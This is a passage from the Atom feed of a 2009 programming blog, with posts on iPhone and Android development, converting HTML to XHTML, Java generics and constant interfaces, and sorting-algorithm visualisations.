src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1123339315222806032</id><published>2009-05-27T16:19:00.004-04:00</published><updated>2009-11-13T11:28:36.751-05:00</updated><title type='text'>Free course on creating iPhone applications</title><content type='html'>&lt;div style="text-align: justify;"&gt;Stanford University offered a free &lt;a href="http://www.stanford.edu/class/cs193p/cgi-bin/index.php"&gt;iPhone application development training course&lt;/a&gt;. The course is available on iTunes U as video and pdf, and can be found on &lt;a href="http://itunes.stanford.edu/"&gt;Standford on iTunes U&lt;/a&gt; website. Interesting is the fact that in only 7 weeks, the course has been downloaded a million times from iTunes U. You can read the &lt;a href="http://news.stanford.edu/pr/2009/pr-million-052009.html"&gt;press release&lt;/a&gt; for more information. If you are interesting in iPhone application development, then these resources should come in handy.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1123339315222806032?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1123339315222806032/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1123339315222806032' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1123339315222806032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1123339315222806032'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/05/free-course-on-creating-iphone.html' title='Free course on creating iPhone applications'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2244760046765401308</id><published>2009-05-20T11:21:00.039-04:00</published><updated>2009-11-13T11:33:49.115-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XHTML'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML'/><title type='text'>From HTML to XHTML</title><content type='html'>&lt;div style="text-align: justify;"&gt;XHTML, or eXtensible HTML, is considered to be the evolution of HTML. I believe that the biggest difference between these two is that XHTML is XML, while HTML is, well, HTML. Other noticeable differences are that XHTML can be extended to include new markup (i.e. elements for vector graphics are already available); XHTML is the language of choice for browsers on mobile devices; data written in XML can be easily transformed into XHTML. Do remember that XHTML is backwards compatible with HTML.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;How to convert from HTML to XHTML:&lt;br /&gt;&lt;pre&gt;- Change the DOCTYPE to (Strict) XHTML.  For example:&lt;br /&gt;&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"&lt;br /&gt;"http://www.w3.org/TR/html4/strict.dtd"&amp;gt;&lt;br /&gt;&lt;br /&gt;would become&lt;br /&gt;&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&amp;gt;&lt;br /&gt;&lt;br /&gt;- The &amp;lt;html&amp;gt; opening tag needs new attributes: xmlns, lang,&lt;br /&gt;and xml:lang. For example:&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;br /&gt;would become&lt;br /&gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en"&lt;br /&gt;lang="en"&amp;gt;&lt;br /&gt;&lt;br /&gt;Why do we need both lang and xml:lang? Because depending on&lt;br /&gt;how the XHTML is interpreted by the browser, either of them&lt;br /&gt;might be needed, hence it is considered a best practice to&lt;br /&gt;include both.&lt;br /&gt;&lt;br /&gt;- There must be a matching closing tag for any opening tag.&lt;br /&gt;This implies that if you have empty elements, the tag must&lt;br /&gt;end with /&amp;gt;. For example:&lt;br /&gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&lt;br /&gt;would become&lt;br /&gt;&lt;br /&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&lt;br /&gt;Why do we need a space before the slash? Because older&lt;br /&gt;browsers cannot recognize "/&amp;gt;" without that space.&lt;br /&gt;&lt;br /&gt;- All elements must be in lowercase.&lt;br /&gt;- Attribute values must be in between double quotes and have a&lt;br /&gt;value.&lt;br /&gt;- All special characters must be converted into entities.&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;&amp;amp; should be &amp;amp;amp;.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2244760046765401308?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2244760046765401308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2244760046765401308' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2244760046765401308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2244760046765401308'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/05/from-html-to-xhtml.html' title='From HTML to XHTML'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8994163407718455326</id><published>2009-05-06T13:25:00.026-04:00</published><updated>2009-11-13T11:35:00.015-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Parameterized types and bounded wildcards</title><content type='html'>&lt;div style="text-align: justify;"&gt;We know that parameterized types (in Java) are invariant, which implies that, for example, even though Integer is a subtype (subclass) of Number, List&lt;integer&gt; is not a subtype of List&lt;number&gt;. Let's see how this impacts you code. Assume we have a class named Bucket declared below:&lt;br /&gt;&lt;/number&gt;&lt;/integer&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;span style="font-family: 'courier new';"&gt;public class Bucket&lt;e&gt; {&lt;/e&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   public void add(E e){...};&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   public void addAll(List&lt;e&gt; list){&lt;/e&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      for(E e : list) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;         add(e);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If you would try to do the following:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family: 'courier new';"&gt;Bucket&lt;number&gt; numberBucket = new Bucket&lt;number&gt;();&lt;/number&gt;&lt;/number&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;List&lt;integer&gt; integers = new ArrayList&lt;integer&gt;();&lt;/integer&gt;&lt;/integer&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;numberBucket.addAll(integers);&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;you get the error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;The method addAll(List&lt;number&gt;) in the type Bucket&lt;number&gt; is not applicable for the arguments (List&lt;integer&gt;).&lt;/integer&gt;&lt;/number&gt;&lt;/number&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;How can we get out of this? Easy, by using a bounded wildcard type:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family: 'courier new';"&gt;public void addAll(List list){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   for(E e : list) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      add(e);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8994163407718455326?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8994163407718455326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8994163407718455326' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8994163407718455326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8994163407718455326'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/05/parameterized-types-and-bounded.html' title='Parameterized types and bounded wildcards'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8834751520119368690</id><published>2009-05-01T14:21:00.008-04:00</published><updated>2009-11-13T11:35:15.809-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><title type='text'>Top 10 most popular U.S. handsets in December 2008</title><content type='html'>&lt;div style="text-align: justify;"&gt;RCRWireless has published a while ago the &lt;a href="http://www.rcrwireless.com/article/20090224/WIRELESS/902239977/-1#"&gt;top 10 most popular U.S. devices in December of 2008&lt;/a&gt;. Blackberry Bold and Blackberry Storm (which was released in November) came in at no. 6 and 3&lt;a href="http://www.rcrwireless.com/article/20081201/WIRELESS/811269984/1081/BY_THE_NUMBERS/by-the-numbers-top-10-most-popular-us-handsets-in-october"&gt;&lt;/a&gt;, while the iPhone still remains no. 2, but I assume these numbers are limited because of the single-carrier barrier. Topping the list was the Blackberry Curve.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8834751520119368690?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8834751520119368690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8834751520119368690' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8834751520119368690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8834751520119368690'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/05/top-10-most-popular-us-handsets-in.html' title='Top 10 most popular U.S. handsets in December 2008'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7281743372016563128</id><published>2009-05-01T12:28:00.003-04:00</published><updated>2009-11-13T11:35:30.216-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><title type='text'>Useful links for all mobile related</title><content type='html'>&lt;div style="text-align: justify;"&gt;mobiThinking has posted a very useful webpage of resources related to the mobile industry, covering news, blogs, guidelines, forums, and many many more valuable information resources. You can &lt;a href="http://mobithinking.com/mobile-marketing-tools/helpful-links"&gt;read more here&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7281743372016563128?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7281743372016563128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7281743372016563128' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7281743372016563128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7281743372016563128'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/05/useful-links-for-all-mobile-related.html' title='Useful links for all mobile related'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-311265483344110236</id><published>2009-04-17T14:46:00.018-04:00</published><updated>2009-11-13T11:35:45.755-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><title type='text'>10 Rules for Writing Safety Critical Code</title><content type='html'>&lt;div style="text-align: justify;"&gt;Gerard Holzmann's &lt;a href="http://www.spinroot.com/p10/"&gt;Ten Rules for Writing Safety Critical Code&lt;/a&gt; specifies rules for developing safety critical code in C, rules that improve software reliability and testability. More detailed descriptions can be found in the June 2006 Issue of IEEE Computer, which can be found &lt;a href="http://spinroot.com/gerard/pdf/P10.pdf"&gt;here&lt;/a&gt;. For me, there are other programming languages out there who may be better suited for safety-critical (and real-time) systems, languages like Ada or Erlang. I believe that one important aspect of such systems is to make sure that the routines invoked will take a deterministic amount of time to complete.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-311265483344110236?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/311265483344110236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=311265483344110236' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/311265483344110236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/311265483344110236'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/04/10-rules-for-writing-safety-critical.html' title='10 Rules for Writing Safety Critical Code'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7914355305514970661</id><published>2009-04-16T16:26:00.005-04:00</published><updated>2009-11-13T11:36:24.008-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Symbian'/><category scheme='http://www.blogger.com/atom/ns#' term='HP'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Netbooks'/><title type='text'>Android and Symbian on Netbooks</title><content type='html'>&lt;div style="text-align: justify;"&gt;Corresponding to a &lt;a href="http://www.instat.com/infoalert.asp?Volname=Vol.%20%23224#item2"&gt;report&lt;/a&gt; by In-Stat, HP is pushing Android into Netbooks. From the Information Alert:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;span style="font-style: italic;"&gt;This solution bypasses the huge memory, storage, and graphics requirements associated with Windows and lowers hardware cost, as well as the software cost. It also addresses the changes in the market. Over the past decade, we've seen two megatrends in electronics – mobility and the Internet.  As content and applications migrate to the Internet, these trends will change to mobile Internet and Internet ubiquity. Adopting Android or another open source OS with a custom UI and good browser technology addresses these changes in many specific applications and usage models.&lt;/span&gt;"&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I do agree with the article, and I believe that Android will have a bigger impact on non-smartphone devices (such as Netbooks) than it will have on smartphones.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Symbian is not behind on all this. According to &lt;a href="http://www.allaboutsymbian.com/news/item/9321_Symbian_1_running_on_Intel_Ato.php"&gt;this article&lt;/a&gt;, the S60 5th Edition runs on a "off the shelf Intel Atom based motherboard", which means directly on the x86 hardware. The difference is that Symbian runs on x86, while Android runs on ARM.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7914355305514970661?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7914355305514970661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7914355305514970661' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7914355305514970661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7914355305514970661'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/04/android-on-hp-netbooks.html' title='Android and Symbian on Netbooks'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4107518548723491829</id><published>2009-04-16T16:09:00.004-04:00</published><updated>2009-11-13T11:37:31.413-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Sorting'/><title type='text'>Visualizing Sorting Algorithms</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.sorting-algorithms.com/"&gt;Here&lt;/a&gt; is a website where you can view animations of different sorting algorithms that shows you how they operate, how the preconditions affect the performance of the algorithms, and which one performs better than the other under certain conditions and input sizes. You can also view the source code behind each algorithm. If you are looking for other 'animations', you can find them &lt;a href="http://www.cs.ubc.ca/~harrison/Java/sorting-demo.html"&gt;here&lt;/a&gt;, &lt;a href="http://coderaptors.com/?Sorting_algorithms"&gt;here&lt;/a&gt;, &lt;a href="http://home.westman.wave.ca/~rhenry/sort/"&gt;here&lt;/a&gt;, and &lt;a href="http://www.hatfulofhollow.com/posts/code/visualisingsorting/index.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4107518548723491829?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4107518548723491829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4107518548723491829' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4107518548723491829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4107518548723491829'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/04/visualizing-sorting-algorithms.html' title='Visualizing Sorting Algorithms'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7707954620950684517</id><published>2009-04-15T11:56:00.018-04:00</published><updated>2009-11-13T11:39:02.559-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Constant Interfaces</title><content type='html'>&lt;div style="text-align: justify;"&gt;A constant interface is one that contains no methods, only static final fields, each declaring a constant. Below is an example:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;span style="font-size: 100%;"&gt;&lt;span style="font-family: 'courier new';"&gt;public interface UniversalConstants&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'courier new'; font-size: 100%;"&gt; {&lt;br /&gt;//Speed of light in m/s&lt;br /&gt;static final int SPEED_OF_LIGHT = 299792458;&lt;br /&gt;&lt;br /&gt;//Newtonian constant of gravitation in m^3 * kg^-1 * s^-2&lt;br /&gt;static final double GRAVITATION = 6.6742867e-11;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: 'courier new';"&gt;&lt;span style="font-size: 100%;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;There were times in the past that I've used such interfaces in classes that needed the constants. This is a poor use of interfaces. An interface serves as a type that tells you what a class that implements that interface can do with an instance of it. There is nothing of this kind when using constant interfaces. How can we avoid this? (At least) In two ways. One, define the constants inside your class, if you feel that there is a strong relationship between those constants and you class. The other way is to use a utility class that cannot be instantiated, like below:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;span style="font-size: 100%;"&gt;&lt;span style="font-family: 'courier new';"&gt;public final class UniversalConstants {&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'courier new'; font-size: 100%;"&gt;//Speed of light in m/s&lt;br /&gt;public static final int SPEED_OF_LIGHT = 299792458;&lt;br /&gt;&lt;br /&gt;//Newtonian constant of gravitation in m^3 * kg^-1 * s^-2&lt;br /&gt;public static final double GRAVITATION = 6.6742867e-11;&lt;/span&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size: 100%;"&gt;&lt;span style="font-family: 'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When using these constants from within your own class, you can add a static import declaration and you're done!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7707954620950684517?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7707954620950684517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7707954620950684517' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7707954620950684517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7707954620950684517'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/04/constant-interfaces.html' title='Constant Interfaces'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2416288673322235540</id><published>2009-04-15T09:02:00.004-04:00</published><updated>2009-11-13T11:39:21.506-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Android 1.5 (Cupcake) Highlights</title><content type='html'>&lt;div style="text-align: justify;"&gt;Android 1.5 introduces new and exciting features. Here are some that I find important:&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Accelerometer-based application rotations&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Faster Camera start-up and image capture&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Much faster acquisition of GPS location (powered by SUPL AGPS)&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Smoother page scrolling in Browser&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Video recording and playback&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Bluetooth: stereo bluetooth support (A2DP and AVCRP profiles), auto-pairing, improved handsfree experience&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Browser: copy 'n paste in browser, search within a page&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Framework for easier background/UI thread interaction&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Raw audio recording and playback APIs&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Support for using speech recognition libraries via Intent&lt;/li&gt;&lt;li style="text-align: justify;"&gt;LocationManager - Applications can get location change updates via Intent&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Broadcast Intent for app update install succeeded - for smoother app upgrade experience&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;For a complete list of features, visit the &lt;a href="http://developer.android.com/sdk/preview/features.html"&gt;android developers&lt;/a&gt; web page.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2416288673322235540?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2416288673322235540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2416288673322235540' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2416288673322235540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2416288673322235540'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/04/android-15-cupcake-highlights.html' title='Android 1.5 (Cupcake) Highlights'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1219621828926051926</id><published>2009-03-22T09:34:00.010-04:00</published><updated>2009-11-13T11:40:00.882-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Object Oriented'/><title type='text'>Breaking information hiding in Java</title><content type='html'>&lt;div style="text-align: justify;"&gt;Information hiding is one key feature of Java in particular, and OO in general. It is not to be confused with encapsulation, since you can bundle data with your methods and not hide it at all. Even though these two (information hiding and encapsulation) are different, they are usually used together by making the attributes of your class private data members and providing getter (accessor) and setter (mutator) methods to them. Having said that, let us look at an example:&lt;br /&gt;&lt;/div&gt;&lt;br 